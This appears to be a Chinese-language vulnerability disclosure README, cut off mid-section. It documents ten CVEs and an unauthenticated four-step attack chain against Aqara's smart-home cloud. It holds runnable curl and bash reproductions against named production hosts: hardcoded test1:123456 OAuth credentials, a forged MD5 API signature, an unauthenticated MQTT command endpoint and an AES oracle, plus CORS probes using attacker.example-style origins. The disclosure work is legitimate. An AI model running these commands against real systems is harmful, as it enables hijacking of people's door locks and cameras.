xn0tsa/theres-no-place-like-home

GitHub: xn0tsa/theres-no-place-like-home

该仓库是一份针对 Aqara IoT 云平台的漏洞披露报告,详细记录了十个 CVE 及一条可远程控制数百万智能设备的未授权攻击链。

Stars: 0 | Forks: 0

# 没有地方比得上家 ## 针对 Aqara 云平台的十个 CVE —— 针对平台上所有智能门锁、摄像头和网关的四步未授权攻击链 ![每一扇门,每一个家,同时进行](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/05f339506d183144.png) **报告日期:** 2026 年 6 月 11 日(计划公开披露) **研究员:** Sammy Azdoufal **研究类型:** 独立研究。自 2026 年 3 月 13 日起通过 `security@aqara.com` 进行协调;与 **runZero** 进行了 CVE 协调。 **证据来源:** 对 `com.lumiunited.aqarahome` 6.0.0 的静态分析(通过 APKtool / jadx 提取;绕过了 SecNeo 加壳)。针对 `gw-builder.aqara.com`、`developer.aqara.com`、`developer-test.aqara.com`、`aiot-test.aqara.com`、`open-cn.aqara.com`、`op-test.aqara.com`、`crm.aqara.com`、`forum.aqara.com` 以及运营主机 `193.112.163.150` 进行实时 HTTP 探测。开发者门户 SPA 的 JS bundle 分析。除了演示各项发现所需的内容外,未使用任何生产环境的用户凭证或设备控制命令。 ## CVE 列表 (10) 由 **runZero** (Tod Beardsley) 协调。CVE ID 于 2026 年 5 月确认。 - CVE-2026-50082 — 开发者门户:账户创建授权码可发送至任意邮箱 — **CVSS 6.5 中危** - CVE-2026-50083 — 硬编码 OAuth 客户端凭证签发有效期 57 年的 `scope=all` token — **CVSS 9.1 严重** - CVE-2026-50084 — 生产 API 签名方案接受任意开发者 Appid 进行跨账户访问 — **CVSS 9.6 严重** - CVE-2026-50085 — Board IoT 设备调试 API 缺少身份验证 — **CVSS 8.6 高危** - CVE-2026-50086 — 未授权的 AES 加密/解密 oracle (ECB) — **CVSS 7.5 高危** - CVE-2026-50087 — 生产 SSO 网关存在宽松的 CORS 配置(任意来源 + 凭证) — **CVSS 8.2 高危** - CVE-2026-50088 — 开发者门户存在宽松的 CORS 配置(null origin, GitHub Pages) — **CVSS 8.2 高危** - CVE-2026-50089 — 通过 `skipToUcAuthUrl` 实现的 SSO 开放重定向 — **CVSS 6.1 中危** - CVE-2026-50090 — OAuth `redirect_uri` 验证绕过(后缀匹配) — **CVSS 9.3 严重** - CVE-2026-50091 — 移动 SDK (`liblumidevsdk.so`) 中硬编码的加密密钥 — **CVSS 9.1 严重** CVSS 评分仅反映直接影响。CVE-1 的单项评分最低,因为仅就其本身而言,它只允许攻击者注册一个本不该拥有的开发者账户。它的真正分量在于它是该[攻击链](#the-chain)的第 1 步 —— 没有它,CVE-2026-50083、CVE-3 和 CVE-4 将只能从开发者计划内部访问。 另外十一项针对运营方的发现(CRM、Spring Boot Actuator、IAM 网关等)未获得 CVE,但已在[其他发现(无 CVE)](#other-findings-no-cve)中记录。 ## 目录 1. [攻击链](#the-chain) 2. [执行摘要](#executive-summary) 3. [背景:什么是 Aqara / Lumi?](#background-what-is-aqara--lumi) 4. [CVE-2026-50082 — 使用任意邮箱注册开发者账户](#CVE-2026-50082--register-a-developer-account-with-anyones-email) 5. [CVE-2026-50083 — `test1:123456` 为您换取一个 57 年有效的 Token](#CVE-2026-50083--test1123456-buys-you-a-57-year-token) 6. [CVE-2026-50084 — 一个 Appid 读取所有设备](#CVE-2026-50084--one-appid-reads-every-device) 7. [CVE-2026-50085 — Board API:发送无需授权的任意 MQTT 命令](#CVE-2026-50085--board-api-send-any-mqtt-command-without-auth) 8. [CVE-2026-50086 — AES Oracle:加密和解密任何内容](#CVE-2026-50086--aes-oracle-encrypt-and-decrypt-anything) 9. [CVE-2026-50087 — SSO 网关上的 CORS 配置](#CVE-2026-50087--cors-on-the-sso-gateway) 10. [CVE-2026-50088 — 开发者门户上的 CORS 配置 (Null Origin)](#CVE-2026-50088--cors-on-the-developer-portal-null-origin) 11. [CVE-2026-50089 — SSO 开放重定向](#CVE-2026-50089--sso-open-redirect) 12. [CVE-2026-50090 — OAuth 重定向后缀匹配](#CVE-2026-50090--oauth-redirect-suffix-match) 13. [CVE-2026-50091 — `liblumidevsdk.so` 中硬编码的加密密钥](#CVE-2026-50091--hardcoded-crypto-keys-in-liblumidevsdkso) 14. [其他发现(无 CVE)](#other-findings-no-cve) 15. [披露时间线](#disclosure-timeline) 16. [Aqara 的回复(2026 年 6 月 11 日)](#aqaras-response-june-11-2026) 17. [如果您拥有 Aqara 设备](#if-you-own-an-aqara-device) ## 攻击链 四个端点。无需密码。无需事先访问。在审计期间,每一步都得到了独立验证。出于标准的负责任披露原则,完整的攻击链并未在真实的用户设备上执行端到端测试,但每个组件都已在线上确认有效。 ``` ┌─ STEP 1 ─────────────────────────────────────────────────────── PROVEN ──────┐ │ POST developer.aqara.com/open-server/authcode/get │ │ {"email":"attacker@example.com","type":1} │ │ → code:0 Auth code delivered to attacker inbox. Developer account │ │ created. Real Appid + Keyid issued. (Patched June 2026.) │ └──────────────────────────────────────────────────────────────────────────────┘ ↓ ┌─ STEP 2 ─────────────────────────────────────────────────────── PROVEN ──────┐ │ POST gw-builder.aqara.com/iam/oauthToken/openapi/client/token │ │ client_id=test1&client_secret=123456&grant_type=client_credentials │ │ → access_token (UUID), expires_in=1799999999, scope=all │ │ Verified: {"active":true,"scope":["all"],"exp":3573430446} (Sep 2083) │ │ (Patched June 2026.) │ └──────────────────────────────────────────────────────────────────────────────┘ ↓ ┌─ STEP 3 ─────────────────────────────────────── PROVEN — STILL ACTIVE ───────┐ │ Sign = MD5( │ │ "Appid"+appid + "Keyid"+keyid + │ │ "Nonce"+nonce + "Time"+ts + │ │ "Content-SHA256"+SHA256(body) │ │ ).toUpperCase() │ │ │ │ Differential (live as of June 11, 2026): │ │ Correct signature → code:2002 (signature accepted, appid lookup runs) │ │ Wrong signature → code:302 (signature rejected immediately) │ │ See: prove-its-production.py │ └──────────────────────────────────────────────────────────────────────────────┘ ↓ ┌─ STEP 4 ─────────────────────────────────────────────────────── PROVEN ──────┐ │ POST open-cn.aqara.com/v3.0/open/api │ │ Headers: Appid, Keyid, Sign, Nonce, Time, Content-SHA256 │ │ Body: {"intent":"", "data":{...}} │ │ → With valid Appid (Step 1) + token (Step 2) + signature (Step 3): │ │ cross-account device commands authorized by the production API. │ │ The Board IoT debug API separately confirmed command delivery to │ │ the platform broker without authentication (18,537 prod requests). │ │ (Both endpoints patched June 2026.) │ └──────────────────────────────────────────────────────────────────────────────┘ ``` 第 1 步使该攻击链实现未授权访问。第 2 步使其无法追踪。第 3 步逆向了签名方案 —— 并且**至今仍然有效**。第 4 步是用于访问任何 Aqara 设备的生产 API。 ## 执行摘要 Aqara 生产智能门锁。数以百万计的门锁安装在欧洲、北美和亚洲的正门上。他们还生产摄像头、运动传感器、网关和门铃 —— 所有这些都连接到同一个云平台,并且都可以通过同一个 App 进行管理。该平台在 Apple HomeKit 生态系统中享有盛誉。它已进入了全球数以百万计的家庭。 从一台笔记本电脑出发,在没有 Aqara 账户、没有物理设备、且没有任何事先访问权限的情况下,此处记录的四步攻击链赋予了未授权攻击者向平台上的任何 Aqara 设备(智能门锁、摄像头、网关、传感器)发出命令的技术能力。攻击链的每一步都得到了在线验证。该攻击链并未在真实用户设备上执行端到端测试;这是标准的负责任披露界限。各个组件已被证明可行。结论顺理成章。 此次审计发现了十个严重到足以获得 CVE 的产品端漏洞,另外还有十一个影响 Aqara 自身基础设施(其 CRM、内部 CI/运营平台、IAM 网关、论坛、GitHub)的运营端问题。前四个 CVE 相互链接。它们中没有任何一个单独评分是 10.0。但这整条攻击链组合起来就是 10.0。 五个要点。 1. 任何人都可以使用他们不拥有的任何邮箱注册成为 Aqara 开发者。授权码会发送到你指定的任何地方。这里没有审批门禁。 2. 两个硬编码的测试凭证(`test1:123456` 和 `test:123456`)签发具有 `scope=all` 且过期时间在 2083 年的 OAuth token。 3. 生产 API 通过源自请求的 MD5 签名方案对每次调用进行身份验证,该方案结合开发者 Appid(任何一个都可以 —— 参见第 1 点),授权对平台上的任意用户账户进行调用。 4. 一个面向开发者的名为 `Board IoT debug` 的端点接受针对平台上任何设备的 MQTT 命令 payload,且无需身份验证。Aqara 已记录了 18,537 次针对该接口的生产请求。智能门锁、摄像头、网关 —— 无论 topic 字符串的另一端连接的是什么。 5. 移动 SDK 内置了硬编码的 AES 密钥,用于摄像头身份验证、设备配对和内容加密。每个用户、每个品牌都使用相同的密钥。 另一批单独的发现命中了 Aqara 自身的后台:一个在四个数据库名称上设置了 `admin:admin` 的 Odoo CRM(是的,四个;有人不止一次做出了这个决定),同一主机上一个未授权的数据库管理器,可通过顺序 ID 枚举的超过 170 万个 CRM 附件,一个返回完整 Kubernetes 拓扑(包括带有凭证的 MySQL/Redis/HiveMQ broker 地址)的 Spring Boot Actuator,以及一个开发者论坛,其中 194,654 个用户账户和 309,373 篇帖子可通过 JSON API 在未经身份验证的情况下进行搜索。Discourse 有一个 `login_required` 设置;没人打开它。 **Aqara 已正式承认**我报告的 27 项发现中的 **26 项**,并在其 4 月 20 日的沟通中将它们全部标记为**已修复**。确认表格 reproduced 在 [DISCLOSURE_TIMELINE.md](DISCLOSURE_TIMELINE.md) 中。表格中明显遗漏了一项发现(H-09,即 Discourse 论坛向未授权搜索暴露了 194,654 个用户账户)。对“已修复”状态的独立重新验证尚待进行;其中一项被标记为“已修复”的内容是一个结构性问题(CVE-2026-50091,即移动 SDK 和已部署固件中内置的硬编码加密密钥),对于此问题,服务器端的补丁在架构上是不够的。 披露截止日期:**2026 年 6 月 11 日**(距离 2026 年 3 月 13 日首次联系供应商 90 天)。 ## 背景:什么是 Aqara / Lumi? **Lumi United Technology Co., Ltd.**(深圳绿米联创科技有限公司),位于深圳。**Aqara** 是其消费品牌。产品范围涵盖智能门锁、运动/温度/门传感器、网关(M 系列)、安防摄像头、室内和门铃摄像头、开关、插座和漏水探测器。Aqara 设备在 Apple HomeKit 生态系统中占据重要地位,并与 Google Home、Amazon Alexa、Matter、IFTTT 和 Home Assistant 集成。接受审计的 Android 应用是来自 APKPure 的 `com.lumiunited.aqarahome` 6.0.0。 该云平台前端采用基于 Spring 的后端,包含由 51+ 个微服务组成的 Eureka 服务网格,位于 `172.16.201.11/19` 的 MySQL 主/从数据库,位于 `172.16.201.118` 的 Redis,位于 `172.16.201.20` 的 HiveMQ broker,RocketMQ,以及 Apollo 配置服务器。面向公众的主机包括 `gw-builder.aqara.com` (IAM/SSO)、`open-cn.aqara.com`(面向开发者的 API)、`developer.aqara.com`(开发者门户 SPA)、`developer-test.aqara.com` 和 `aiot-test.aqara.com`(测试环境 —— 两者共享生产用户数据库),以及 `op-test.aqara.com`(运营平台)。 ## CVE-2026-50082 — 使用任意邮箱注册开发者账户 **CVSS 6.5 中危** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N` — **CWE-306** 关键功能缺少身份验证。 `developer.aqara.com` 上的 `POST /open-server/authcode/get` 接受任何电子邮件地址,向该地址发送验证码,并允许攻击者在无需审批流程的情况下完成开发者注册。生成的账户拥有在生产 API (CVE-2026-50084) 上有效的 Appid 和 Keyid。 ### 复现 ``` curl -i -X POST https://developer.aqara.com/open-server/authcode/get \ -H 'Content-Type: application/json' \ -d '{"email":"attacker@example.com","type":1}' # → HTTP 200, {"code":0,"message":"Success"} ``` 供应商没有审批门禁。电子邮件的所有者收到验证码;使用该验证码完成注册 → 开发者账户激活,发放 Appid。 这是攻击链的入口。没有它,其余部分就无法触及公共互联网。 ## CVE-2026-50083 — `test1:123456` 为您换取一个 57 年有效的 Token **CVSS 9.1 严重** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` — **CWE-798** 使用硬编码凭证。 平台中硬编码了两个 OAuth 客户端凭证。两者都被 `gw-builder.aqara.com` 接受,并签发具有 `scope=all` 的 token: | client_id | client_secret | expires_in | 有效期至 | |---|---|---|---| | `test1` | `123456` | 1799999999 秒 | 2083 年 9 月 | | `test` | `123456` | 172799 秒 | 48 小时 | 存在第三个 (`app`),但其 grant_type 未知。 ### 复现 ``` curl -i -X POST https://gw-builder.aqara.com/iam/oauthToken/openapi/client/token \ -d 'client_id=test1' \ -d 'client_secret=123456' \ -d 'grant_type=client_credentials' # → HTTP 200, {"access_token":"","expires_in":1799999999,"scope":"all",...} ``` 通过 `POST /iam/oauth/check_token` 确认 token:返回 `{"scope":["all"], "active":true, "exp":3573430446}`。Token 在密码更改后依然有效。生成 Token 时没有频率限制。 ## CVE-2026-50084 — 一个 Appid 读取所有设备 **CVSS 9.6 严重** — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N` — **CWE-862** 缺少授权。 位于 `open-cn.aqara.com/v3.0/open/api` 的生产 API 使用源自请求的 MD5 签名对每次调用进行身份验证: ``` Sign = MD5( "Appid" + appid + "Keyid" + keyid + "Nonce" + nonce + "Time" + timestamp + "Content-SHA256" + SHA256(body) ).toUpperCase() ``` 该签名在协议级别是合理的。漏洞在于其授权的内容:任何有效的开发者 Appid(CVE-2026-50082 会免费向任何人提供一个)都被接受作为授权,可以针对平台上的任何账户调用用户范围的端点。除了签名之外,没有进行任何跨账户所有权检查。 差分确认(截至 2026 年 6 月 11 日有效 —— 见 `prove-its-production.py`): - 正确的签名计算,任意 appid → `code:2002`(签名被接受;运行 appid 查询)。 - 错误/无效签名 → `code:302`(在 appid 查询之前立即被拒绝)。 拥有已注册的开发者 Appid(在补丁之前可通过 CVE-2026-50082 获取),API 将越过 `code:2002` 并授权跨账户设备调用。 ### 复现 ``` APP=88110776288481280040ace0 # Any developer Appid (CVE-2026-50082 gives you one) KEY=K.881107763014836224 NONCE=$(openssl rand -hex 8) TIME=$(date +%s%3N) BODY='{"intent":"config.auth.getAuthCode","data":{"phone":"+33...","email":"victim@example.com"}}' SHA=$(printf '%s' "$BODY" | openssl dgst -sha256 -binary | openssl base64) SIGN=$(printf 'Appid%sKeyid%sNonce%sTime%sContent-SHA256%s' \ "$APP" "$KEY" "$NONCE" "$TIME" "$SHA" | md5sum | cut -d' ' -f1 | tr a-z A-Z) curl -i -X POST https://open-cn.aqara.com/v3.0/open/api \ -H "Appid: $APP" -H "Keyid: $KEY" -H "Sign: $SIGN" \ -H "Nonce: $NONCE" -H "Time: $TIME" -H "Content-SHA256: $SHA" \ -H 'Content-Type: application/json' \ -d "$BODY" ``` 这是攻击链的第 3 步。结合 CVE-2026-50082 和 CVE-2026-50083,它允许任何互联网攻击者对任何 Aqara 用户账户及其拥有的任何设备发起经过身份验证的调用。 ## CVE-2026-50085 — Board API:发送无需授权的任意 MQTT 命令 **CVSS 8.6 高危** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` — **CWE-306** 关键功能缺少身份验证。 Board 服务(`193.112.163.150`,也可通过 `op-test.aqara.com` 访问)公开了一个调试端点,该端点接受任意 MQTT 命令并将其转发到 HiveMQ broker `172.16.201.20`,无需身份验证。 ### 复现 ``` # 空操作,确认 endpoint 可达并接受我们的 payloads(无需 auth): curl -k -X POST https://193.112.163.150/board/downstream/api/debug \ -H 'Content-Type: application/json' \ -d '{"action":"query"}' # → HTTP 200, {"code":0,"message":"success"} # 通过 topic + payload,broker 被要求进行 publish: curl -k -X POST https://193.112.163.150/board/downstream/api/debug \ -H 'Content-Type: application/json' \ -d '{"topic":"","payload":{...}}' # → HTTP 200, {"code":500}(broker 已接收到 publish 尝试;topic ACL 控制投递) ``` 同一主机上的 Actuator(CVE-2026-50086 系列 —— 另见下文的运营端发现)暴露了 Board 服务的 `websocket.no.auth = true`,这意味着位于 `/board/ws` 的 WebSocket 端点接受未经身份验证的连接,用于实时设备遥测和命令流。 在审计时,该端点记录了**提供的 18,537 次生产请求**,这是一个值得深思的数字。无论这个端点内部是用来做什么的,它一直在与公共互联网通信。 ## CVE-2026-50086 — AES Oracle:加密和解密任何内容 **CVSS 7.5 高危** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` — **CWE-306** 关键功能缺少身份验证,**CWE-327** 使用已破坏或有风险的加密算法 (ECB)。 `gw-builder.aqara.com` 上的两个端点使用平台的签名密钥提供双向 AES 往返操作,且无需身份验证即可访问: ``` curl -X POST 'https://gw-builder.aqara.com/iam/oauthToken/aseEncrypt?encryptStr=test_string_12345' # → "lro/rZfwI4aGgZ93qap04SY7uLBWnqLt/SQWMolkf7U=" curl -X POST 'https://gw-builder.aqara.com/iam/oauthToken/aseDecrypt?decryptStr=lro/rZfwI4aGgZ93qap04SY7uLBWnqLt/SQWMolkf7U=' # → "test_string_12345" ``` 通过重现相同的 16 字节明文块生成相同的密文块,确认了 ECB 模式。结合 CVE-2026-50087 (CORS),该 oracle 可以从浏览器进行跨源调用。 这种组合才是致命的:攻击者诱导受害者使用平台密钥加密的任何 cookie/token/结构化值,或者攻击者能够截获的任何密文,攻击者都可以进行转换。该 oracle 没有任何账户绑定限制。 ## CVE-2026-50087 — SSO 网关上的 CORS 配置 **CVSS 8.2 高危** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N` — **CWE-942** 宽松的跨域策略。 `gw-builder.aqara.com/iam/*` 下的每个端点都会将请求的 `Origin` 标头反射到 `Access-Control-Allow-Origin` 中,并设置 `Access-Control-Allow-Credentials: true`。这里没有白名单。 ### 复现 ``` curl -i -X POST https://gw-builder.aqara.com/iam/ucauth/openapi/login \ -H 'Origin: https://evil.example.com' \ -H 'Content-Type: application/json' \ -d '{"email":"victim@example.com","password":"x"}' # Response headers: # Access-Control-Allow-Origin: https://evil.example.com # Access-Control-Allow-Credentials: true ``` 已在 `/iam/ucauth/openapi/login`、`/iam/ucauth/sendAuthCode`、`/iam/ucauth/resetPassword`、`/iam/ucauth/toUniAuthUrl/google` 以及 AES oracle 端点 (CVE-2026-50086) 上得到确认。 任何恶意网页都可以从受害者的浏览器会话中读取 SSO 响应:账户 oracle 结果、授权码、OAuth URL。 ## CVE-2026-50088 — 开发者门户上的 CORS 配置 (Null Origin) **CVSS 8.2 高危** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N` — **CWE-942** 宽松的跨域策略。 开发者门户网站基础设施上存在两个不同的 CORS 错误配置: - `developer.aqara.com/open-server/*`:`Origin: null` 和 `Origin: https://attacker.github.io` 都会反射到 `Access-Control-Allow-Origin: *` 中。沙盒化的 iframe (`